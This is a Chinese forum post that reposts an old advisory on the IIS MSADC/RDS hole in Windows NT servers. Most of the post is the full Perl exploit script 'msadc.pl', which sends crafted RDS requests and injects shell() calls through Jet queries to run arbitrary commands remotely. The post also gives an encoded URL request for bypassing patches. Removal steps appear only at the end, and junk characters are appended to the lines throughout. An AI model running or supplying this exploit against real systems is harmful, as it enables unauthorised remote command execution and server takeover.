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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W&+UF'F2  
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涉及程序: 2!&:V]  
Microsoft NT server (VBoZP=W  
sVh!5fby&  
描述: '<1T>|`/t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 3+n&Ya1  
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详细: PX]A1Kt?  
如果你没有时间读详细内容的话,就删除: 3~Ipcr B  
c:\Program Files\Common Files\System\Msadc\msadcs.dll wPqIy}-  
有关的安全问题就没有了。 ??1V__w  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,F:l?dfB\I  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 CE*@CkC0z  
关于利用ODBC远程漏洞的描述,请参看: >rYP}k  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hnG'L*HooE  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !;iySRZr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {f3T !e{  
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这里不再论述。 >@y5R^B`  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: z@<`]  
*,pG4kh!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset J. {[>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2ht<"  
C=9|K`g5 R  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" SV8rZWJ  
Ybd){Je"z  
#!perl - n11L  
# Eiz\Nb  
# MSADC/RDS 'usage' (aka exploit) script ot-!_w<  
# gD&%$&q  
# by rain.forest.puppy 9e8@0?0  
# xNq&_oY7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &\c$s  
# beta test and find errors! &)\0mpLK9  
7{<t]wQq  
use Socket; use Getopt::Std; ("H:T?4Qs  
getopts("e:vd:h:XR", \%args); }$m_):t@@  
(:E^} &A  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4*m\Zoq>  
f N t  
if (!defined $args{h} && !defined $args{R}) { u5T \_0  
print qq~ }5DyNfZ]+0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vxbO>c   
-h <host> = host you want to scan (ip or domain) ab3" ?.3m  
-d <seconds> = delay between calls, default 1 second 7jEAhi!Cq(  
-X = dump Index Server path table, if available 0jj }jw  
-v = verbose Vs9fAAXS4  
-e = external dictionary file for step 5 SU H^]4>  
=EV8~hMyqh  
Or a -R will resume a command session B;?a. 81~  
tEf-BV;\y  
~; exit;} uQpV1o5iA  
Xo]FOJ 5  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; a=C?fh  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} S }fIZ1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} lc[\ S4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); + Uj~zx@  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} _3kAN .g  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ]+fL6"OD/2  
>Q"eaJxE!l  
if (!defined $args{R}){ $ret = &has_msadc; ?t?!)#X  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} MIi:\m5  
#?8'Z/1 )  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" P#76ehR]K  
. "cmd /c "; GT#iY*  
$in=<STDIN>; chomp $in; =BNmuAY7  
$command="cmd /c " . $in ; t'R&$;z@b  
?vM{9!M  
if (defined $args{R}) {&load; exit;} Eepy%-\  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]6 }|X#_  
&try_btcustmr; qRB&R$  
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print "\nStep 2: Trying to make our own DSN..."; oh,Nu_!  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >&Bg F*mm  
rS6iZp,  
print "\nStep 3: Trying known DSNs..."; 4sROMk=l  
&known_dsn; U4^dDj  
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print "\nStep 4: Trying known .mdbs..."; [,G]#<G?q  
&known_mdb; sF(U?)48  
tAYu|\]  
if (defined $args{e}){ qdO^)uJJ  
print "\nStep 5: Trying dictionary of DSN names..."; rZGA9duy  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /m9t2,KB  
]3Mm"7`  
print "Sorry Charley...maybe next time?\n"; ")ZHa qEB  
exit; Y@;bA=Du}  
IKAF%0[R|j  
############################################################################## M.H4ud  
DHm$gk  
sub sendraw { # ripped and modded from whisker 9;JU c0%  
sleep($delay); # it's a DoS on the server! At least on mine... 0^{zq|%Q!  
my ($pstr)=@_; (Z6[a{}1i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =XudL^GF  
die("Socket problems\n"); >8jDW "Ua  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?Cmb3pX^\  
select(S); $|=1; .L6t3/^  
print $pstr; my @in=<S>; x"_f$,:!  
select(STDOUT); close(S); GTJ\APrH  
return @in; 6 U# C  
} else { die("Can't connect...\n"); }} 9$S2:2(G  
*1%=?:$(r6  
############################################################################## bNIT 1'v  
1gH5#_ ?  
sub make_header { # make the HTTP request QT^( oog=  
my $msadc=<<EOT "ve?7&G7U  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 QDxLy aL  
User-Agent: ACTIVEDATA h7(twct  
Host: $ip KasOh"W.P  
Content-Length: $clen O(WFjmHx  
Connection: Keep-Alive f{^n<\Jh  
I%{U~  
ADCClientVersion:01.06  '6 w|z^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 |oO0%#1H  
1&wZJP=  
--!ADM!ROX!YOUR!WORLD! KGK8;Q,O  
Content-Type: application/x-varg 5nf|CQH6?  
Content-Length: $reqlen ?55('+{l  
BAqu@F\):  
EOT MS,H12h  
; $msadc=~s/\n/\r\n/g; "fz-h  
return $msadc;} ?;uzx7@F  
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############################################################################## EKwS~G.b!  
7_q"%xH  
sub make_req { # make the RDS request {"4t`dM  
my ($switch, $p1, $p2)=@_; <8-I:o]mF  
my $req=""; my $t1, $t2, $query, $dsn; ?V*>4A  
;x+4jpH]B  
if ($switch==1){ # this is the btcustmr.mdb query B}r@xz  
$query="Select * from Customers where City=" . make_shell(); MZ0uc2L=  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :!{aey  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} sM~CP zMa  
AZ!G-73  
elsif ($switch==2){ # this is general make table query rKi)VVkx_  
$query="create table AZZ (B int, C varchar(10))"; 1F[; )@  
$dsn="$p1";} EXb{/4  
h3O5DP6~  
elsif ($switch==3){ # this is general exploit table query <-FZ-asem  
$query="select * from AZZ where C=" . make_shell(); xB9^DURr\  
$dsn="$p1";} }3)$aI_  
G-,PsXSwe  
elsif ($switch==4){ # attempt to hork file info from index server P=u)Q _  
$query="select path from scope()"; hkW"D<i i-  
$dsn="Provider=MSIDXS;";} PB }$.8  
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elsif ($switch==5){ # bad query Za=<euc7  
$query="select"; E 8,53$  
$dsn="$p1";} XUMCz7&j  
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$t1= make_unicode($query); UDp"+nS  
$t2= make_unicode($dsn); _L# Tp  
$req = "\x02\x00\x03\x00"; V|b?H6Q  
$req.= "\x08\x00" . pack ("S1", length($t1)); vLpE|QZs  
$req.= "\x00\x00" . $t1 ; fI}-?@  
$req.= "\x08\x00" . pack ("S1", length($t2)); mv30xcc  
$req.= "\x00\x00" . $t2 ; bS0^AVA  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; i37W^9 R  
return $req;} =E |[8 U)  
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############################################################################## :_^9.`  
+Pa!pj/< z  
sub make_shell { # this makes the shell() statement  hi.{  
return "'|shell(\"$command\")|'";} w8@MUz}/#  
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############################################################################## " I_T  
gvsS:4N"Nq  
sub make_unicode { # quick little function to convert to unicode fnB-?8K<  
my ($in)=@_; my $out; J!yc9Q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } '*)!&4f  
return $out;} m=y6E, _  
[a+?z6qI\}  
############################################################################## QP\vN|r  
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sub rdo_success { # checks for RDO return success (this is kludge) ybYSz@7  
my (@in) = @_; my $base=content_start(@in); [Q^kO;  
if($in[$base]=~/multipart\/mixed/){ IM +Dm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~vF.k,  
return 0;} fcV/co_S6  
=Oo*7|Z  
############################################################################## zIdQ^vm8Q  
`w~ 9/sty  
sub make_dsn { # this makes a DSN for us ?B h}  
my @drives=("c","d","e","f"); 4|Y0 $(6o  
print "\nMaking DSN: "; d628@~ Ekn  
foreach $drive (@drives) { *[vf47)r!  
print "$drive: "; '{7A1yJnY%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . mTs[3opg  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" m{V @Om  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); | sQ5`lV?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; H;$w^Tr  
return 0 if $2 eq "404"; # not found/doesn't exist ,'ndQ{\9  
if($2 eq "200") { ZS}2(t   
foreach $line (@results) { e?f[t*td  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} FE_n+^|k<  
} return 0;} <BO|.(ys  
Q |l93Rb`  
############################################################################## x "N,oDs  
[&Qrk8EN  
sub verify_exists { !XtbZ-  
my ($page)=@_; kB~ :HQf  
my @results=sendraw("GET $page HTTP/1.0\n\n"); w5&UG/z%l  
return $results[0];} moc_}(  
*qq%)7  
############################################################################## O %)+ w  
_$, .NK,6  
sub try_btcustmr { Kh5:+n_X  
my @drives=("c","d","e","f"); !CsoTW9C:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [IHT)%>E8&  
2+Fq'!  
foreach $dir (@dirs) { O^e !<bBd  
print "$dir -> "; # fun status so you can see progress Y RA[qc  
foreach $drive (@drives) { 9OTw6  
print "$drive: "; # ditto Mr`u!T&sc  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; k_y@vW3  
$reqlenlen=length( "$reqlen" ); Q2Q`g`*O:  
$clen= 206 + $reqlenlen + $reqlen; HD`Gi0  
{yfG_J  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); $?'z%a{  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} jo"[$%0`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0dnm/'L  
uQ&xoDCB  
############################################################################## LoTq2/  
a?D\H5TF-  
sub odbc_error { .j;My%)?p  
my (@in)=@_; my $base; X}? cAo2N  
my $base = content_start(@in); o+q 5:vJt  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O81})r*Y  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s+ 0$_&xR  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d;'@4NX5+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .11iulQ  
return $in[$base+4].$in[$base+5].$in[$base+6];} K` U\+AE  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; rT"8e*LT  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . M g;;o  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <'s1+^LC  
 snN1  
############################################################################## }TYCF@  
VJ1si0vWtq  
sub verbose { Z\@vN[[  
my ($in)=@_; -;Hd_ ~O>j  
return if !$verbose; Q&n|tQ*4  
print STDOUT "\n$in\n";} wV U(Du  
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############################################################################## fHwh6|  
b z<wihZj  
sub save { 6,oi(RAf  
my ($p1, $p2, $p3, $p4)=@_; Z0E+EMo  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; dqG+hh^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; A03PEaZO  
close OUT;} b;S~`PL  
La3f{;|u5M  
############################################################################## ~6@~fhu  
Wp >W?'`  
sub load { |!&,etu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; lOZ.{0{f,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )u[ 2TI1  
@p=<IN>; close(IN); {Y\hr+A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); s$`evX7D  
$target= inet_aton($ip) || die("inet_aton problems"); X'iki4  
print "Resuming to $ip ..."; %f, 9  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; YBg\L$| n  
if($p[1]==1) { ?#]c{Tlpz  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Tk+\Biq   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 4W^0K|fq  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); (&X"~:nm2  
if (rdo_success(@results)){print "Success!\n";} ^\_`0%`>  
else { print "failed\n"; verbose(odbc_error(@results));}} o#w6]Fmc  
elsif ($p[1]==3){ \Z57UNI  
if(run_query("$p[3]")){ @dcW0WQ\  
print "Success!\n";} else { print "failed\n"; }} +F 5Dc  
elsif ($p[1]==4){ U6_1L,W  
if(run_query($drvst . "$p[3]")){ S;*,V |#QD  
print "Success!\n"; } else { print "failed\n"; }} %yptML9  
exit;} S,Oy}Nv  
93YD\R+q  
############################################################################## J'2R-CI,  
m,=$a\UC  
sub create_table { BPi>SI0  
my ($in)=@_; Zwq uS9  
$reqlen=length( make_req(2,$in,"") ) - 28; m<OxO\Mpf  
$reqlenlen=length( "$reqlen" ); ]kKf4SJZFU  
$clen= 206 + $reqlenlen + $reqlen; 9>zN 27  
my @results=sendraw(make_header() . make_req(2,$in,"")); @#o$~'my  
return 1 if rdo_success(@results); Sw(%j1uL  
my $temp= odbc_error(@results); verbose($temp); *~fN^{B'!  
return 1 if $temp=~/Table 'AZZ' already exists/; b6Ntt Y!3  
return 0;} {\0R[+d  
sW=@G'}3  
############################################################################## q2,@>#  
R]ppA=1*_l  
sub known_dsn { VgoQz]z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go %/'[GC'y!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 6`+DBr  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", gqe z-  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); w7%N=hL1   
GWP"i77y0s  
foreach $dSn (@dsns) { l~f +h?cF  
print "."; `knw1,qL"  
next if (!is_access("DSN=$dSn")); fM2[wh@  
if(create_table("DSN=$dSn")){ gXf_~zxS  
print "$dSn successful\n"; #XmN&83_  
if(run_query("DSN=$dSn")){ IkkJ4G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _q8s 7H  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Y,)9{T  
Ufo- AeQo  
############################################################################## ;$0za]x  
V-X n&s  
sub is_access { U&B~GJT+  
my ($in)=@_; G\P*zz Sq  
$reqlen=length( make_req(5,$in,"") ) - 28; 2y<d@z:K  
$reqlenlen=length( "$reqlen" ); z?7s'2w&{  
$clen= 206 + $reqlenlen + $reqlen; zV2c `he%z  
my @results=sendraw(make_header() . make_req(5,$in,"")); xr6Q5/p1  
my $temp= odbc_error(@results); |d:URuG~:I  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _Juhl^LM;  
return 0;} 6 a$%  
OB"QWdh  
############################################################################## `Cb$8;)z  
,fYO>l';`f  
sub run_query { ,2?C^gxt  
my ($in)=@_; sH&8"5BT%  
$reqlen=length( make_req(3,$in,"") ) - 28; #b8/gRfS  
$reqlenlen=length( "$reqlen" ); a%-Yl%#  
$clen= 206 + $reqlenlen + $reqlen; C8n1j2G\  
my @results=sendraw(make_header() . make_req(3,$in,"")); GZ4{<QG  
return 1 if rdo_success(@results); cb UVeh7Q  
my $temp= odbc_error(@results); verbose($temp); 0,/[r/=jT  
return 0;} gjs-j{*  
7,O^c +  
############################################################################## L9AfLw5&X  
QeQbO  
sub known_mdb { Wh4lz~D\@  
my @drives=("c","d","e","f","g"); Ads^y`b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pF8'S{y  
my $dir, $drive, $mdb; *&AK.n_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |]B]0J#_  
zd;xbH//)b  
# this is sparse, because I don't know of many F,EHZ,<V  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |Z "h q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", v=W%|iZ  
"\\system32\\certmdb.mdb", %EVg.k$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 4H " *.l  
ll5Kd=3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", mV'd9(s?  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Q2#)Jx\6!  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <4>6k7W  
"\\cfusion\\cfapps\\security\\realm_.mdb", eq/s8]uM  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", JE?XZp@V  
"\\cfusion\\database\\cfexamples.mdb", ?dTz?C.w  
"\\cfusion\\database\\cfsnippets.mdb", K+GjJ8  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", B$lbp03z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >MhkNy  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &MKv _  
"\\cfusion\\database\\smpolicy.mdb", >%W"u` Q  
"\\cfusion\\database\cypress.mdb", %Ajf|Go0/G  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", lca.(3u   
"\\website\\cgi-win\\dbsample.mdb", Z2LG/R  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 55[K[K  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @cXY"hP`  
); #these are just nH_A`m3%/  
foreach $drive (@drives) { xW^<.@Agm  
foreach $dir (@dirs){ 2xjS;lpw  
foreach $mdb (@sysmdbs) { cq!> B{  
print "."; 8p!PR^OM@  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ g"#+U7O  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; VWNmqeP  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ g:*yjj  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Y${ $7+@  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6Es-{u(,  
jbg@CA*=C  
foreach $drive (@drives) { -MU^%t;-  
foreach $mdb (@mdbs) { 2R1W[,Ga!  
print "."; +XIN-8  
if(create_table($drv . $drive . $dir . $mdb)){ %iX +"  
print "\n" . $drive . $dir . $mdb . " successful\n"; g;*~ xo  
if(run_query($drv . $drive . $dir . $mdb)){ bZKK' d$I  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Jl4zj>8~  
} else { print "Something's borked. Use verbose next time\n"; }}}} }2{%V^D)r  
} 1ITa6vjS  
yqAw7GaBN  
############################################################################## gFW1Nm_DJ  
 %RJW@~!  
sub hork_idx { ;1o"Oij  
print "\nAttempting to dump Index Server tables...\n"; cy? EX~s4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; T{ojla(  
$reqlen=length( make_req(4,"","") ) - 28; |M+ !O93  
$reqlenlen=length( "$reqlen" ); *W0`+#Dcv  
$clen= 206 + $reqlenlen + $reqlen; !e%#Zb MIo  
my @results=sendraw2(make_header() . make_req(4,"","")); u'iOa  
if (rdo_success(@results)){ z |t0mS$  
my $max=@results; my $c; my %d; ` bg{\ .q  
for($c=19; $c<$max; $c++){ Nc]]e+N#V  
$results[$c]=~s/\x00//g; u9?85  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; L >xN7N3&m  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; PvO>}(=  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; UZXnABg,J  
$d{"$1$2"}="";} 3ldOOQW%  
foreach $c (keys %d){ print "$c\n"; } d F),  
} else {print "Index server doesn't seem to be installed.\n"; }} 1[^2f70n  
44cyD _(  
############################################################################## 2"2b\b}my  
:r!nz\%WW  
sub dsn_dict { fUE jl  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [P"#?7 N  
while(<IN>){ !$fBo3!B_8  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ] $Z aS\m  
next if (!is_access("DSN=$dSn")); (LGx;9S?  
if(create_table("DSN=$dSn")){ |>d5 6  
print "$dSn successful\n"; 5B"j\TwQ  
if(run_query("DSN=$dSn")){ y%z$_V]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .( 75.^b2)  
print "Something's borked. Use verbose next time\n";}}} qy.Mi{=~:  
print "\n"; close(IN);} "S*lI^8Z!  
5{j1<4zxR  
############################################################################## R5|c4v{B  
& [4Gv61  
sub sendraw2 { # ripped and modded from whisker poQY X5  
sleep($delay); # it's a DoS on the server! At least on mine... U Tw\_s  
my ($pstr)=@_; cO_En`F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -2bu`oD `  
die("Socket problems\n"); =C u !  
if(connect(S,pack "SnA4x8",2,80,$target)){ V"k*PLt  
print "Connected. Getting data"; jsH7EhF{'  
open(OUT,">raw.out"); my @in; Nx,.4CI  
select(S); $|=1; print $pstr; = gOq >`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 4IIe1 .{  
close(OUT); select(STDOUT); close(S); return @in; yB,$4:C  
} else { die("Can't connect...\n"); }} \za 0?b  
R$_#7>3  
############################################################################## m.Yj{u8zX  
/ 9^:*,  
sub content_start { # this will take in the server headers K-Y;[+#g1o  
my (@in)=@_; my $c; X\V1c$13CK  
for ($c=1;$c<500;$c++) { 6XKiVP;h%  
if($in[$c] =~/^\x0d\x0a/){ <"X\~  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } aF]4%E  
else { return $c+1; }}} p0>W}+8fF  
return -1;} # it should never get here actually =0 mf  
 2tMe#V  
############################################################################## .T#h5[S2x  
&,JrhMr\  
sub funky { <y7nGXzLK  
my (@in)=@_; my $error=odbc_error(@in); Lzm9Kh;  
if($error=~/ADO could not find the specified provider/){ 4|ML#aRz  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Gx,<|v  
exit;}  dtTQY  
if($error=~/A Handler is required/){ #R-l2OO^]  
print "\nServer has custom handler filters (they most likely are patched)\n"; `O/1aW1  
exit;} >cpT_M&C,  
if($error=~/specified Handler has denied Access/){ bbddbRj;  
print "\nServer has custom handler filters (they most likely are patched)\n"; z10J8Ms'  
exit;}} ae_Y?g+3  
waT'|9{  
############################################################################## Y=6569U2  
lC|`DG-B  
sub has_msadc { 3)cH\gsg9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); EX@wenR  
my $base=content_start(@results); 76epkiz;=  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); C&wp*  
return 0;} v,, .2UR4  
x *:v]6y  
######################## s3<gq x-&r  
UZvF5Hoe+O  
%La<]  
解决方案: gV~_m  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |2AMj0V~  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \RT3#X+  
OV2/?  
拿出来充数 哈哈
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